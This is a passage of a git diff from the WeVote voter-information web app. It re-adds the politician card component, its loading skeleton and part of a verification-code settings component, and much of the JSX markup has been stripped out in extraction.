+ */
+
+ if (window.location.href.endsWith('/storybook')) {
+ const destinationHref = `${window.location.href}-static/index.html?path=/docs/design-system--docs`;
+ console.log('Storybook redirect from: ', window.location.href, ' to: ', destinationHref);
+ window.location.href = destinationHref; // This would cause big problems in Cordova, but shouldn't happen
+ }
+
+ return (
+ <>
+ {enableFullStory &&
+
+
+ {/* DO NOT put SnackNotifier or anything else that is non-essential here (to keep it out of the main chunk). */}
+ }>
+
+
+
+ {() => {
+ if (showReadyLight) {
+ return
+ (
+ {loadingPageHtml}}>
+
+ )}
+ />
+ ( ( ( ( ( ( (
+
+ }>
+
+
+
+
+
+
+ );
+ }
+}
+
+const WeVoteBody = styled('div')`
+ // We rely on many of these from the body from main.css, including:
+ //background-color: #fff; // rgb(235, 236, 238); // #fafafa;
+ //color: #000;
+ //font-family: "Poppins", "Helvetica Neue Light", "Helvetica Neue", "Helvetica", "Arial", sans-serif;
+ //line-height: 1.4;
+ // margin: 0 auto;
+ display: block;
+ min-height: 100vh;
+ position: relative;
+ z-index: 0;
+ // this debug technique works! ${() => console.log('-----------------------------')}
+`;
+
+App.propTypes = {
+ location: PropTypes.object,
+};
+
+export default withRouter(App);
diff --git a/src/index.html b/src/index.html
index c7bf018b29..94ec4a5e7c 100644
--- a/src/index.html
+++ b/src/index.html
@@ -1,60 +1,60 @@
-
-
-
-
-
-
- WeVote
-
-
-
-
-
Loading your ballot...
-
Thank you for being a voter!
-
-
-
-
WeVote
+
+
+
+
+
Loading your ballot...
+
Thank you for being a voter!
+
+
+
+
-
-
-
-
- {stateName && (
-
- {stateName || stateFromUrl}
-
- )}
- {hideCardMargins && isWebApp() ? (
-
- {highlightSearchText(ballotItemDisplayName, searchText)}
- {showPoliticianOpenInNewWindow && (
-
-
-
- )}
-
- ) : (
-
-
- )}
-
-
- {!!(electionDateYear) && (
- <>
- {electionDateYear}
-
- )}
-
- {!useCampaignSupportThermometer && (
- <>
- {/* {source} */}
-
-
-
-
-
-
-
- )}
-
-
-
-
- {politicalParty ? (
-
- {politicalParty ? (
- {highlightSearchText(politicalParty, searchText)}
- ) : (
-
-
-
-
-
-
-
- {(districtName || officeName) && (
-
-
- )}
-
-
-
- ) : (
-
- {(districtName || officeName) && (
-
-
- )}
-
-
-
- )}
-
-
-
- {/*
- <>
- {finalElectionDateInPast ? (
-
- {(!supportersCount || supportersCount === 0) ? (
-
- 0 supporters.
- {' '}
-
- ) : (
-
- {numberWithCommas(supportersCount)}
- {' '}
- {supportersCount === 1 ? 'supporter.' : 'supporters.'}
- {' '}
-
- )}
- {campaignSupported && (
-
- Thank you for supporting!
-
- )}
-
- ) : (
-
- {(!supportersCount || supportersCount === 0) ? (
-
- Be the first.
- {' '}
-
- ) : (
-
- {numberWithCommas(supportersCount)}
- {' '}
- {supportersCount === 1 ? 'supporter.' : 'supporters.'}
-
- )}
- {' '}
- {campaignSupported ? (
-
- Thank you for supporting!
-
- ) : (
- historyPush(politicianBasePath)}
- >
- Let's get to
- {' '}
- {numberWithCommas(supportersCountNextGoalWithFloor)}
- !
-
- )}
-
- )}
-
- */}
- {politicianDescription && (
- historyPush(politicianBasePath)}
- >
-
-
- {politicianDescription}
-
-
-
- )}
- {/*
-
-
- */}
-
- {!hideItemActionBar && (
-
-
-
-
- )}
-
- historyPush(politicianBasePath)}
- >
- {photoLargeUrl ? (
-
-
-
- {isClaimedProfile && (
- e.stopPropagation()}>
-
- )}
-
- ) : (
-
-
-
-
- No candidate image available.
-
-
-
- {isClaimedProfile && (
- e.stopPropagation()}>
-
- )}
-
- )}
-
- {
- if (onDisplayNameClick) {
- onDisplayNameClick();
- return;
- }
- historyPush(politicianBasePath);
- }}
- profileImageBackgroundColor={profileImageBackgroundColor}
- useVerticalCard={useVerticalCard}
- >
- {photoLargeUrl ? (
-
- <>
- {useVerticalCard ? (
-
-
- ) : (
- e.stopPropagation()}>
-
- )}
-
- ) : (
-
-
-
-
- {isClaimedProfile && (
- e.stopPropagation()}>
-
- )}
-
-
- )}
-
-
-
-
- );
-}
-CardForListBody.propTypes = {
- source: PropTypes.string,
- ballotItemDisplayName: PropTypes.string.isRequired, // Changed to be required due to error where this shows as undefined [WV-379] when fetching from PoliticianStore 7/18/2024
- candidateWeVoteId: PropTypes.string,
- classes: PropTypes.object,
- districtName: PropTypes.string,
- finalElectionDateInPast: PropTypes.bool,
- hideCardMargins: PropTypes.bool,
- hideItemActionBar: PropTypes.bool,
- isClaimedProfile: PropTypes.bool,
- limitCardWidth: PropTypes.bool,
- linkedCampaignXWeVoteId: PropTypes.string,
- officeName: PropTypes.string,
- onDisplayNameClick: PropTypes.func,
- photoLargeUrl: PropTypes.string,
- politicalParty: PropTypes.string,
- politicianBasePath: PropTypes.string.isRequired,
- politicianDescription: PropTypes.string,
- politicianWeVoteId: PropTypes.string,
- profileImageBackgroundColor: PropTypes.string,
- searchText: PropTypes.string,
- showPoliticianOpenInNewWindow: PropTypes.bool,
- stateCode: PropTypes.string,
- supportPolitician: PropTypes.bool,
- // supportersCount: PropTypes.number.isRequired,
- // supportersCountNextGoalRaw: PropTypes.number,
- tagIdBaseName: PropTypes.string,
- ultimateElectionDate: PropTypes.number,
- useCampaignSupportThermometer: PropTypes.bool,
- useOfficeHeld: PropTypes.bool,
- usePoliticianWeVoteIdForBallotItem: PropTypes.bool,
- useVerticalCard: PropTypes.bool,
-};
-
-const styles = () => ({
- howToVoteRoot: {
- color: '#999',
- height: 18,
- // marginRight: 3,
- width: 18,
- },
-});
-
-export const FlexDivLeft = styled('div')`
- align-items: center;
- display: flex;
- justify-content: start;
-`;
-
-const LaunchIconWrapper = styled('span')`
-`;
-
-export const OfficeNameWrapper = styled('div')`
-`;
-
-export const PoliticalPartyDiv = styled('div')`
-`;
-
-export const SpaceBeforeThermometer = styled('div')`
- margin-bottom: 8px;
-`;
-
-export const SvgImageWrapper = styled('div')`
- max-width: 25px;
- min-width: 25px;
- width: 25px;
-`;
-
-export const SvgWatermarkWrapper = styled('div')`
-`;
-
-export const YearAndHeartDiv = styled('div')`
- display: flex;
- justify-content: space-between;
-`;
-
-const PoliticianImageContainer = styled('div')`
- position: relative;
- display: flex;
- align-items: center;
- justify-content: center;
- width: 100%;
-`;
-
-const ClaimedProfileOverlay = styled('div')`
- position: absolute;
- bottom: -14px;
- right: 5%;
- background-color: rgba(255, 255, 255, 1);
- border-radius: 50%;
- padding: 3px;
- z-index: 2;
- cursor: default;
- pointer-events: auto;
-`;
-
-export default withStyles(styles)(CardForListBody);
+import { HowToVote, Launch } from '@mui/icons-material';
+import { Box } from '@mui/material';
+import Skeleton from '@mui/material/Skeleton';
+import withStyles from '@mui/styles/withStyles';
+import PropTypes from 'prop-types';
+import React, { Suspense } from 'react';
+import { Link, useLocation } from 'react-router-dom';
+import TruncateMarkup from 'react-truncate-markup';
+import styled from 'styled-components';
+import webAppConfig from '../../config';
+import AppObservableStore from '../stores/AppObservableStore';
+import { convertStateCodeToStateText } from '../utils/addressFunctions';
+import { getYearFromUltimateElectionDate } from '../utils/dateFormat';
+import highlightSearchText from '../utils/highlightSearchText';
+import historyPush from '../utils/historyPush';
+import { isCordova, isWebApp } from '../utils/isCordovaOrWebApp';
+import isMobileScreenSize from '../utils/isMobileScreenSize';
+import { renderLog } from '../utils/logging';
+import { CampaignActionButtonsWrapper, CampaignImageDesktop, CampaignImageDesktopPlaceholder, CampaignImageMobile, CampaignImageMobilePlaceholder, CampaignImagePlaceholderText, CandidateCardForListWrapper, CardForListRow, CardRowsWrapper, ElectionYear, OneCampaignDescription, OneCampaignInnerWrapper, OneCampaignOuterWrapper, OneCampaignPhotoDesktopColumn, OneCampaignPhotoWrapperMobile, OneCampaignTextColumn, OneCampaignTitle, OneCampaignTitleLink, StateName, TitleAndTextWrapper } from './Style/CampaignCardStyles';
+import DesignTokenColors from './Style/DesignTokenColors';
+import HeartFavoriteToggleLoader from './Widgets/HeartFavoriteToggle/HeartFavoriteToggleLoader';
+import SvgImage from './Widgets/SvgImage';
+import extractPoliticianDetailsFromUrl from '../utils/extractPoliticianDetailsFromUrl';
+import lookupPageNameAndPageTypeDict from '../../utils/lookupPageNameAndPageTypeDict';
+import ClaimedProfileIcon from './Widgets/ClaimedProfileIcon';
+
+const CampaignSupportThermometer = React.lazy(() => import(/* webpackChunkName: 'CampaignSupportThermometer' */ './CampaignSupport/CampaignSupportThermometer'));
+const ItemActionBar = React.lazy(() => import(/* webpackChunkName: 'ItemActionBar' */ '../../components/Widgets/ItemActionBar/ItemActionBar'));
+const OfficeHeldNameText = React.lazy(() => import(/* webpackChunkName: 'OfficeHeldNameText' */ './Widgets/OfficeHeldNameText'));
+const OfficeNameText = React.lazy(() => import(/* webpackChunkName: 'OfficeNameText' */ './Widgets/OfficeNameText'));
+const OpenExternalWebSite = React.lazy(() => import(/* webpackChunkName: 'OpenExternalWebSite' */ './Widgets/OpenExternalWebSite'));
+
+// React functional component example
+function CardForListBody (props) {
+ renderLog('CardForListBody'); // Set LOG_RENDER_EVENTS to log all renders
+ const {
+ ballotItemDisplayName,
+ candidateWeVoteId, classes, districtName, finalElectionDateInPast, hideCardMargins,
+ hideItemActionBar, isClaimedProfile, limitCardWidth, linkedCampaignXWeVoteId, officeName,
+ onDisplayNameClick, photoLargeUrl, politicalParty, politicianBasePath,
+ politicianDescription, politicianWeVoteId, profileImageBackgroundColor,
+ searchText, showPoliticianOpenInNewWindow, stateCode,
+ supportPolitician, tagIdBaseName,
+ ultimateElectionDate,
+ useCampaignSupportThermometer, useOfficeHeld,
+ usePoliticianWeVoteIdForBallotItem, useVerticalCard,
+ } = props;
+ // console.log('CardForListBody supportPolitician: ', supportPolitician, ', useCampaignSupportThermometer:', useCampaignSupportThermometer);
+
+ // const supportersCountNextGoal = supportersCountNextGoalRaw || 0;
+ // let supportersCountNextGoalWithFloor = supportersCountNextGoal || CampaignStore.getCampaignXSupportersCountNextGoalDefault();
+ // console.log('supportersCount:', supportersCount, 'supportersCountNextGoal:', supportersCountNextGoal, 'supportersCountNextGoalWithFloor:', supportersCountNextGoalWithFloor);
+ // if (supportersCount && supportersCountNextGoalWithFloor < supportersCount) {
+ // const nextGoal = supportersCount + 50;
+ // supportersCountNextGoalWithFloor = Math.floor(nextGoal / 50) * 50;
+ // }
+ const stateName = convertStateCodeToStateText(stateCode);
+ const electionDateYear = getYearFromUltimateElectionDate(ultimateElectionDate);
+ let politicalPartySvgNameWithPath = '../../img/global/svg-icons/political-party-unspecified.svg';
+ if (['Democrat', 'Democratic'].includes(politicalParty)) {
+ politicalPartySvgNameWithPath = '../../img/global/svg-icons/political-party-democrat.svg';
+ } else if (['Republican', 'Republican Party'].includes(politicalParty)) {
+ politicalPartySvgNameWithPath = '../../img/global/svg-icons/political-party-republican.svg';
+ } else if (['Green', 'Green Party'].includes(politicalParty)) {
+ politicalPartySvgNameWithPath = '../../img/global/svg-icons/political-party-green-party.svg';
+ } else if (['Libertarian', 'Libertarian Party'].includes(politicalParty)) {
+ politicalPartySvgNameWithPath = '../../img/global/svg-icons/political-party-libertarian.svg';
+ } else if (['Working Families', 'Working Families Party'].includes(politicalParty)) {
+ politicalPartySvgNameWithPath = '../../img/global/svg-icons/political-party-working-families.svg';
+ }
+ const politicianDetailsURL = `${webAppConfig.WE_VOTE_URL_PROTOCOL + webAppConfig.WE_VOTE_HOSTNAME}${politicianBasePath}`;
+ const destinationPage = lookupPageNameAndPageTypeDict(politicianBasePath);
+ // console.log('politicianBasePath:', politicianBasePath);
+ // console.log('CardForListBody politicianDetailsURL:', politicianDetailsURL, ', destinationPage: ', destinationPage);
+ const location = useLocation();
+ const { state: stateFromUrl, name: nameFromUrl } = extractPoliticianDetailsFromUrl(location.pathname);
+
+ // /////////////////////// START OF DISPLAY
+ return (
+
+
+
+
+
+ {stateName && (
+
+ {stateName || stateFromUrl}
+
+ )}
+ {hideCardMargins && isWebApp() ? (
+
+ {highlightSearchText(ballotItemDisplayName, searchText)}
+ {showPoliticianOpenInNewWindow && (
+
+
+
+ )}
+
+ ) : (
+
+
+ )}
+
+
+ {!!(electionDateYear) && (
+ <>
+ {electionDateYear}
+
+ )}
+
+ {!useCampaignSupportThermometer && (
+ <>
+ {/* {source} */}
+
+
+
+
+
+
+
+ )}
+
+
+
+
+ {politicalParty ? (
+
+ {politicalParty ? (
+ {highlightSearchText(politicalParty, searchText)}
+ ) : (
+
+
+
+
+
+
+
+ {(districtName || officeName) && (
+
+
+ )}
+
+
+
+ ) : (
+
+ {(districtName || officeName) && (
+
+
+ )}
+
+
+
+ )}
+
+
+
+ {/*
+ <>
+ {finalElectionDateInPast ? (
+
+ {(!supportersCount || supportersCount === 0) ? (
+
+ 0 supporters.
+ {' '}
+
+ ) : (
+
+ {numberWithCommas(supportersCount)}
+ {' '}
+ {supportersCount === 1 ? 'supporter.' : 'supporters.'}
+ {' '}
+
+ )}
+ {campaignSupported && (
+
+ Thank you for supporting!
+
+ )}
+
+ ) : (
+
+ {(!supportersCount || supportersCount === 0) ? (
+
+ Be the first.
+ {' '}
+
+ ) : (
+
+ {numberWithCommas(supportersCount)}
+ {' '}
+ {supportersCount === 1 ? 'supporter.' : 'supporters.'}
+
+ )}
+ {' '}
+ {campaignSupported ? (
+
+ Thank you for supporting!
+
+ ) : (
+ historyPush(politicianBasePath)}
+ >
+ Let's get to
+ {' '}
+ {numberWithCommas(supportersCountNextGoalWithFloor)}
+ !
+
+ )}
+
+ )}
+
+ */}
+ {politicianDescription && (
+ historyPush(politicianBasePath)}
+ >
+
+
+ {politicianDescription}
+
+
+
+ )}
+ {/*
+
+
+ */}
+
+ {!hideItemActionBar && (
+
+
+
+
+ )}
+
+ historyPush(politicianBasePath)}
+ >
+ {photoLargeUrl ? (
+
+
+
+ {isClaimedProfile && (
+ e.stopPropagation()}>
+
+ )}
+
+ ) : (
+
+
+
+
+ No candidate image available.
+
+
+
+ {isClaimedProfile && (
+ e.stopPropagation()}>
+
+ )}
+
+ )}
+
+ {
+ if (onDisplayNameClick) {
+ onDisplayNameClick();
+ return;
+ }
+ historyPush(politicianBasePath);
+ }}
+ profileImageBackgroundColor={profileImageBackgroundColor}
+ useVerticalCard={useVerticalCard}
+ >
+ {photoLargeUrl ? (
+
+ <>
+ {useVerticalCard ? (
+
+
+ ) : (
+ e.stopPropagation()}>
+
+ )}
+
+ ) : (
+
+
+
+
+ {isClaimedProfile && (
+ e.stopPropagation()}>
+
+ )}
+
+
+ )}
+
+
+
+
+ );
+}
+CardForListBody.propTypes = {
+ source: PropTypes.string,
+ ballotItemDisplayName: PropTypes.string.isRequired, // Changed to be required due to error where this shows as undefined [WV-379] when fetching from PoliticianStore 7/18/2024
+ candidateWeVoteId: PropTypes.string,
+ classes: PropTypes.object,
+ districtName: PropTypes.string,
+ finalElectionDateInPast: PropTypes.bool,
+ hideCardMargins: PropTypes.bool,
+ hideItemActionBar: PropTypes.bool,
+ isClaimedProfile: PropTypes.bool,
+ limitCardWidth: PropTypes.bool,
+ linkedCampaignXWeVoteId: PropTypes.string,
+ officeName: PropTypes.string,
+ onDisplayNameClick: PropTypes.func,
+ photoLargeUrl: PropTypes.string,
+ politicalParty: PropTypes.string,
+ politicianBasePath: PropTypes.string.isRequired,
+ politicianDescription: PropTypes.string,
+ politicianWeVoteId: PropTypes.string,
+ profileImageBackgroundColor: PropTypes.string,
+ searchText: PropTypes.string,
+ showPoliticianOpenInNewWindow: PropTypes.bool,
+ stateCode: PropTypes.string,
+ supportPolitician: PropTypes.bool,
+ // supportersCount: PropTypes.number.isRequired,
+ // supportersCountNextGoalRaw: PropTypes.number,
+ tagIdBaseName: PropTypes.string,
+ ultimateElectionDate: PropTypes.number,
+ useCampaignSupportThermometer: PropTypes.bool,
+ useOfficeHeld: PropTypes.bool,
+ usePoliticianWeVoteIdForBallotItem: PropTypes.bool,
+ useVerticalCard: PropTypes.bool,
+};
+
+const styles = () => ({
+ howToVoteRoot: {
+ color: '#999',
+ height: 18,
+ // marginRight: 3,
+ width: 18,
+ },
+});
+
+export const FlexDivLeft = styled('div')`
+ align-items: center;
+ display: flex;
+ justify-content: start;
+`;
+
+const LaunchIconWrapper = styled('span')`
+`;
+
+export const OfficeNameWrapper = styled('div')`
+`;
+
+export const PoliticalPartyDiv = styled('div')`
+`;
+
+export const SpaceBeforeThermometer = styled('div')`
+ margin-bottom: 8px;
+`;
+
+export const SvgImageWrapper = styled('div')`
+ max-width: 25px;
+ min-width: 25px;
+ width: 25px;
+`;
+
+export const SvgWatermarkWrapper = styled('div')`
+`;
+
+export const YearAndHeartDiv = styled('div')`
+ display: flex;
+ justify-content: space-between;
+`;
+
+const PoliticianImageContainer = styled('div')`
+ position: relative;
+ display: flex;
+ align-items: center;
+ justify-content: center;
+ width: 100%;
+`;
+
+const ClaimedProfileOverlay = styled('div')`
+ position: absolute;
+ bottom: -14px;
+ right: 5%;
+ background-color: rgba(255, 255, 255, 1);
+ border-radius: 50%;
+ padding: 3px;
+ z-index: 2;
+ cursor: default;
+ pointer-events: auto;
+`;
+
+export default withStyles(styles)(CardForListBody);
diff --git a/src/js/common/components/CardForListBodySkeleton.jsx b/src/js/common/components/CardForListBodySkeleton.jsx
index 9223bcf021..62122450d7 100644
--- a/src/js/common/components/CardForListBodySkeleton.jsx
+++ b/src/js/common/components/CardForListBodySkeleton.jsx
@@ -1,151 +1,151 @@
-import { Box } from '@mui/material';
-import Skeleton from '@mui/material/Skeleton';
-import PropTypes from 'prop-types';
-import React from 'react';
-import styled from 'styled-components';
-import isMobileScreenSize from '../utils/isMobileScreenSize';
-import {
- CampaignActionButtonsWrapper,
- CandidateCardForListWrapper,
- CardForListRow,
- CardRowsWrapper,
- OneCampaignInnerWrapper,
- OneCampaignOuterWrapper,
- OneCampaignPhotoDesktopColumn,
- OneCampaignPhotoWrapperMobile,
- OneCampaignTextColumn,
- TitleAndTextWrapper,
-} from './Style/CampaignCardStyles';
-import { renderLog } from '../utils/logging';
-
-const SpaceBeforeThermometer = styled('div')`
- margin-bottom: 8px;
-`;
-
-const YearAndHeartDiv = styled('div')`
- display: flex;
- justify-content: space-between;
-`;
-
-const FlexDivLeft = styled('div')`
- align-items: center;
- display: flex;
- justify-content: start;
-`;
-
-const SvgImageWrapper = styled('div')`
- max-width: 25px;
- min-width: 25px;
- width: 25px;
-`;
-
-function CardForListBodySkeleton (props) {
- renderLog('CardForListBodySkeleton');
- const { hideCardMargins, hideItemActionBar, limitCardWidth, showPoliticianOpenInNewWindow, useVerticalCard } = props;
- const useVerticalLayout = limitCardWidth || useVerticalCard || isMobileScreenSize();
-
- return (
-
-
-
-
-
- {/* State */}
-
-
- {/* Year + Heart */}
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- {!hideItemActionBar && (
-
-
-
-
- )}
-
- {/* Mobile image */}
-
-
- {/* Desktop image */}
-
-
-
-
-
- );
-}
-CardForListBodySkeleton.propTypes = {
- hideCardMargins: PropTypes.bool,
- hideItemActionBar: PropTypes.bool,
- limitCardWidth: PropTypes.bool,
- showPoliticianOpenInNewWindow: PropTypes.bool,
- useVerticalCard: PropTypes.bool,
-};
-
-export default CardForListBodySkeleton;
+import { Box } from '@mui/material';
+import Skeleton from '@mui/material/Skeleton';
+import PropTypes from 'prop-types';
+import React from 'react';
+import styled from 'styled-components';
+import isMobileScreenSize from '../utils/isMobileScreenSize';
+import {
+ CampaignActionButtonsWrapper,
+ CandidateCardForListWrapper,
+ CardForListRow,
+ CardRowsWrapper,
+ OneCampaignInnerWrapper,
+ OneCampaignOuterWrapper,
+ OneCampaignPhotoDesktopColumn,
+ OneCampaignPhotoWrapperMobile,
+ OneCampaignTextColumn,
+ TitleAndTextWrapper,
+} from './Style/CampaignCardStyles';
+import { renderLog } from '../utils/logging';
+
+const SpaceBeforeThermometer = styled('div')`
+ margin-bottom: 8px;
+`;
+
+const YearAndHeartDiv = styled('div')`
+ display: flex;
+ justify-content: space-between;
+`;
+
+const FlexDivLeft = styled('div')`
+ align-items: center;
+ display: flex;
+ justify-content: start;
+`;
+
+const SvgImageWrapper = styled('div')`
+ max-width: 25px;
+ min-width: 25px;
+ width: 25px;
+`;
+
+function CardForListBodySkeleton (props) {
+ renderLog('CardForListBodySkeleton');
+ const { hideCardMargins, hideItemActionBar, limitCardWidth, showPoliticianOpenInNewWindow, useVerticalCard } = props;
+ const useVerticalLayout = limitCardWidth || useVerticalCard || isMobileScreenSize();
+
+ return (
+
+
+
+
+
+ {/* State */}
+
+
+ {/* Year + Heart */}
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ {!hideItemActionBar && (
+
+
+
+
+ )}
+
+ {/* Mobile image */}
+
+
+ {/* Desktop image */}
+
+
+
+
+
+ );
+}
+CardForListBodySkeleton.propTypes = {
+ hideCardMargins: PropTypes.bool,
+ hideItemActionBar: PropTypes.bool,
+ limitCardWidth: PropTypes.bool,
+ showPoliticianOpenInNewWindow: PropTypes.bool,
+ useVerticalCard: PropTypes.bool,
+};
+
+export default CardForListBodySkeleton;
diff --git a/src/js/common/components/Settings/SettingsVerifySecretCode.jsx b/src/js/common/components/Settings/SettingsVerifySecretCode.jsx
index abf9b635ef..1a5742f3be 100644
--- a/src/js/common/components/Settings/SettingsVerifySecretCode.jsx
+++ b/src/js/common/components/Settings/SettingsVerifySecretCode.jsx
@@ -1,915 +1,915 @@
-import { ArrowBack, ArrowBackIos } from '@mui/icons-material';
-import { Button, Dialog, OutlinedInput } from '@mui/material';
-import withStyles from '@mui/styles/withStyles';
-import withTheme from '@mui/styles/withTheme';
-import TagManager from 'react-gtm-module';
-import clsx from 'clsx';
-import PropTypes from 'prop-types';
-import React, { Component } from 'react';
-import styled from 'styled-components';
-import VoterActions from '../../../actions/VoterActions';
-import { hasCordovaNotch, isIOS, isIPhone4in } from '../../utils/cordovaUtils';
-import { isCordova, isWebApp } from '../../utils/isCordovaOrWebApp';
-import { renderLog } from '../../utils/logging';
-import VoterStore from '../../../stores/VoterStore';
-import { getPageDetails } from '../../../utils/lookupPageNameAndPageTypeDict';
-
-/* global $ */
-
-class SettingsVerifySecretCode extends Component {
- constructor (props) {
- super(props);
- this.state = {
- cancelingVerifyModal: false,
- condensed: false,
- dataLayerFired: false,
- digit1: '',
- digit2: '',
- digit3: '',
- digit4: '',
- digit5: '',
- digit6: '',
- errorToDisplay: false,
- errorMessageToDisplay: '',
- incorrectSecretCodeEntered: false,
- numberOfTriesRemaining: 5,
- secretCodeVerified: false,
- voterMustRequestNewCode: false,
- voterPhoneNumber: '',
- voterSecretCodeRequestsLocked: false,
- voterVerifySecretCodeSubmitted: false,
- };
- this.onDigit1Change = this.onDigit1Change.bind(this);
- this.onDigit2Change = this.onDigit2Change.bind(this);
- this.onDigit3Change = this.onDigit3Change.bind(this);
- this.onDigit4Change = this.onDigit4Change.bind(this);
- this.onDigit5Change = this.onDigit5Change.bind(this);
- this.onDigit6Change = this.onDigit6Change.bind(this);
- this.handleKeyDown2 = this.handleKeyDown2.bind(this);
- this.handleKeyDown3 = this.handleKeyDown3.bind(this);
- this.handleKeyDown4 = this.handleKeyDown4.bind(this);
- this.handleKeyDown5 = this.handleKeyDown5.bind(this);
- this.handleKeyDown6 = this.handleKeyDown6.bind(this);
- this.handleFocus = this.handleFocus.bind(this);
- this.handleBlur = this.handleBlur.bind(this);
- this.onPaste = this.onPaste.bind(this);
- }
-
- componentDidMount () {
- // console.log('SettingsVerifySecretCode componentDidMount');
- this.voterStoreListener = VoterStore.addListener(this.onVoterStoreChange.bind(this));
- const { voterEmailAddress, voterPhoneNumber } = this.props;
- // const newVoterPhoneNumber = voterPhoneNumber.replace(/\D+/g, '').replace(/(\d{3})(\d{3})(\d{4})/, '$1-$2-$3');
- // console.log('voterEmailAddress:', voterEmailAddress);
-
- let initialDisplay = '';
- if (isCordova()) {
- const dlg = $('div[class*="SignInModal-dialogPaper"]');
- initialDisplay = dlg.css('display');
- dlg.css('display', 'none'); // Hide the entry dialog
- }
-
- this.setState({
- voterEmailAddress,
- voterPhoneNumber,
- initialDisplay,
- });
- const delayBeforeClearingVerificationStatus = 200;
- this.clearSecretCodeVerificationStatusTimer = setTimeout(() => {
- VoterActions.clearSecretCodeVerificationStatus();
- }, delayBeforeClearingVerificationStatus);
-
- window.addEventListener('paste', this.onPaste);
-
- const { dataLayerFired } = this.state;
- if (!dataLayerFired) {
- if (VoterStore.voterFirstRetrieveCompleted()) {
- this.pushDataLayer(true, null, 'landing');
- this.setState({
- dataLayerFired: true,
- });
- }
- }
- }
-
- shouldComponentUpdate (nextProps, nextState) {
- if (this.state.incorrectSecretCodeEntered !== nextState.incorrectSecretCodeEntered) return true;
- if (this.state.numberOfTriesRemaining !== nextState.numberOfTriesRemaining) return true;
- if (this.state.secretCodeVerified !== nextState.secretCodeVerified) return true;
- if (this.state?.voterEmailAddress !== nextState?.voterEmailAddress) return true;
- if (this.state.voterMustRequestNewCode !== nextState.voterMustRequestNewCode) return true;
- if (this.state.voterPhoneNumber !== nextState.voterPhoneNumber) return true;
- if (this.state.voterSecretCodeRequestsLocked !== nextState.voterSecretCodeRequestsLocked) return true;
- if (this.state.voterVerifySecretCodeSubmitted !== nextState.voterVerifySecretCodeSubmitted) return true;
- if (this.state.cancelingVerifyModal !== nextState.cancelingVerifyModal) return true;
- if (this.state.condensed !== nextState.condensed) return true;
- if (this.state.digit1 !== nextState.digit1) return true;
- if (this.state.digit2 !== nextState.digit2) return true;
- if (this.state.digit3 !== nextState.digit3) return true;
- if (this.state.digit4 !== nextState.digit4) return true;
- if (this.state.digit5 !== nextState.digit5) return true;
- if (this.state.digit6 !== nextState.digit6) return true;
- // console.log('shouldComponentUpdate return false');
- return false;
- }
-
- componentDidUpdate () {
- const { dataLayerFired } = this.state;
- if (!dataLayerFired) {
- if (VoterStore.voterFirstRetrieveCompleted()) {
- this.pushDataLayer(true, null, 'landing');
- this.setState({
- dataLayerFired: true,
- });
- }
- }
- }
-
- componentWillUnmount () {
- // console.log('SettingsVerifySecretCode componentWillUnmount');
- this.voterStoreListener.remove();
- if (this.clearSecretCodeVerificationStatusTimer) {
- clearTimeout(this.clearSecretCodeVerificationStatusTimer);
- }
- window.removeEventListener('paste', this.onPaste);
- this.closeVerifyModalLocal();
- const { initialDisplay = 'unset' } = this.state;
- if (isCordova()) {
- $('div[class*="SignInModal-dialogPaper"]').css('display', initialDisplay); // un-hide the entry dialog
- }
- }
-
- handleDigit6Blur = () => {
- // 2022-09-29 NOTE: Submitting the code on blur can cause some weird behavior.
- // One case is this: clicking "Try a different number" after you have entered a full and correct
- // verification code, signs you in. But attempts to change/remove
- // this "handleDigit6Blur" function caused other, worse problems.
-
- // 2024-04-10 NOTE: This function is no longer being used in order to address WV-328.
- const {
- cancelingVerifyModal, digit1, digit2, digit3, digit4, digit5, digit6,
- voterPhoneNumber, voterVerifySecretCodeSubmitted,
- } = this.state;
- this.setState({ condensed: false });
- if (digit6) {
- // Jan 2020 this comment looks wrong, but might still contain a clue: When there is a voterEmailAddress value and the keyboard closes, submit
- const secretCode = `${digit1}${digit2}${digit3}${digit4}${digit5}${digit6}`;
- const codeSentToSMSPhoneNumber = !!voterPhoneNumber;
- if (!voterVerifySecretCodeSubmitted && !cancelingVerifyModal) {
- VoterActions.voterVerifySecretCode(secretCode, codeSentToSMSPhoneNumber);
- this.setState({ voterVerifySecretCodeSubmitted: true });
- }
- }
- };
-
- handleKeyDown2 (e) {
- if (e.keyCode === 8 && this.state.digit2 === '') {
- e.target.parentElement.previousElementSibling.firstElementChild.value = '';
- e.target.parentElement.previousElementSibling.firstElementChild.focus();
- this.setState({ digit1: '' });
- }
- }
-
- handleKeyDown3 (e) {
- if (e.keyCode === 8 && this.state.digit3 === '') {
- e.target.parentElement.previousElementSibling.firstElementChild.value = '';
- e.target.parentElement.previousElementSibling.firstElementChild.focus();
- this.setState({ digit2: '' });
- }
- }
-
- handleKeyDown4 (e) {
- if (e.keyCode === 8 && this.state.digit4 === '') {
- e.target.parentElement.previousElementSibling.firstElementChild.value = '';
- e.target.parentElement.previousElementSibling.firstElementChild.focus();
- this.setState({ digit3: '' });
- }
- }
-
- handleKeyDown5 (e) {
- if (e.keyCode === 8 && this.state.digit5 === '') {
- e.target.parentElement.previousElementSibling.firstElementChild.value = '';
- e.target.parentElement.previousElementSibling.firstElementChild.focus();
- this.setState({ digit4: '' });
- }
- }
-
- handleKeyDown6 (e) {
- const ENTER_KEY_CODE = 13;
- const BACKSPACE_KEY_CODE = 8;
- if (e.keyCode === BACKSPACE_KEY_CODE && this.state.digit6 === '') {
- e.target.parentElement.previousElementSibling.firstElementChild.value = '';
- e.target.parentElement.previousElementSibling.firstElementChild.focus();
- this.setState({ digit5: '' });
- }
- const keyCodesForSubmit = [ENTER_KEY_CODE];
- if (keyCodesForSubmit.includes(e.keyCode)) {
- e.preventDefault();
- this.voterVerifySecretCode(e);
- }
- }
-
- handleBlur () {
- this.setState({ condensed: false });
- }
-
- handleFocus (e) {
- e.target.select();
- if (isCordova()) {
- this.setState({ condensed: true });
- }
- }
-
- onVoterStoreChange () {
- const secretCodeVerificationStatus = VoterStore.getSecretCodeVerificationStatus();
- const { incorrectSecretCodeEntered, numberOfTriesRemaining, secretCodeVerified, voterMustRequestNewCode, voterSecretCodeRequestsLocked } = secretCodeVerificationStatus;
- // console.log(`onVoterStoreChange secretCodeVerified: ${secretCodeVerified}`);
- // console.log(`onVoterStoreChange secretCodeVerificationStatus: ${JSON.stringify(secretCodeVerificationStatus)}`);
- if (secretCodeVerified) {
- // console.log('SettingsVerifySecretCode -- onVoterStoreChange secretCodeVerified: yes');
- this.closeSignInModalLocal();
- } else {
